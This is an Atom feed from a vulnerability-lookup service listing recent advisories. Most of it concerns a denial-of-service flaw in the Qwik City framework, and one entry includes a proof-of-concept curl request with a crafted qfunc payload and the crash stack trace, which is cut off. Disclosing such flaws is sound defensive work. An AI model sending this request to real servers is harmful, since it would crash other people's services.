<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://db.gcve.eu/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-03T09:49:33.316532+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@gcve.eu</email>
  </author>
  <link href="https://db.gcve.eu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://db.gcve.eu/vuln/bdu:2025-14615</id>
    <title>bdu:2025-14615</title>
    <updated>2026-10-03T09:49:33.343599+00:00</updated>
    <content>bdu:2025-14615</content>
    <link href="https://db.gcve.eu/vuln/bdu:2025-14615"/>
  </entry>
  <entry>
    <id>https://db.gcve.eu/vuln/fkie_cve-2025-53620</id>
    <title>fkie_cve-2025-53620</title>
    <updated>2026-10-03T09:49:33.343641+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml">
        <p>@builder.io/qwik-city is the meta-framework for Qwik. When a Qwik Server Action QRL is executed it dynamically load the file containing the symbol. When an invalid qfunc is sent, the server does not handle the thrown error. The error then causes Node JS to exit. This vulnerability is fixed in 1.13.0.</p>
      </div>
    </content>
    <link href="https://db.gcve.eu/vuln/fkie_cve-2025-53620"/>
  </entry>
  <entry>
    <id>https://db.gcve.eu/vuln/ghsa-qr9h-j6xg-2j72</id>
    <title>GHSA-qr9h-j6xg-2j72 — Qwik's unhandled exception vulnerabilty can cause server crashes from malicious requests</title>
    <updated>2026-10-03T09:49:33.343673+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> npm: @builder.io/qwik-city</p>
<p>### Summary</p>
<p>Possibility to craft a request that will crash the Qwik Server in the default configuration.</p>
<p>### Details</p>
<p>When a Qwik Server Action QRL is executed it dynamically load the file containing the symbol. When an invalid qfunc is sent, the server does not handle the thrown error. The error then causes Node JS to exit.</p>
<p>### PoC</p>
<p>1. Setup a Qwik Project `pnpm create qwik@latest`
 2. Start the Qwik Server using `pnpm run preview`
 3. Execute the following curl command to crash the instance
```bash
curl --location 'http://localhost:4173/?qfunc=PPXYallGsCE' \
--header 'Content-Type: application/qwik-json' \
--header 'X-Qrl: PPXYallGsCE' \
--data '{"_entry":"2","_objs":["\u0002_#s_PPXYallGsCE",1,["0","1"]]}'
```</p>
<p>Here the `qfunc` query parameter, `X-Qrl` header and payload need to have the same qrl.</p>
<p>The Qwik Server will then crash with the message</p>
<p>```
qrl s_PPXYallGsCE failed to load Error: Dynamic require of "_.js" is not supported
    at file:///home/michele/Code/qwik/server/entry.preview.js:32:199
    at Object.importSymbol (file:///home/michele/Code/qwik/server/entry.preview.js:32:776)
    at $ (file:///home/michele/Code/qwik/server/entry.preview.js:26:3064)
    at d (file:///home/michele/Code/qwik/server/entry.preview.js:26:3274)
    at file:///home/michele/Code/qwik/server/entry.preview.js:26:3311
    at Object.a (file:///home/michele/Code/qwik/server/entry.preview.js:26:2566)
    at oc (file:///home/michele/Code/qwik/server/entry.preview.js:16:1562)
    at proce…</p></div>
    </content>
    <link href="https://db.gcve.eu/vuln/ghsa-qr9h-j6xg-2j72"/>
  </entry>
</feed>
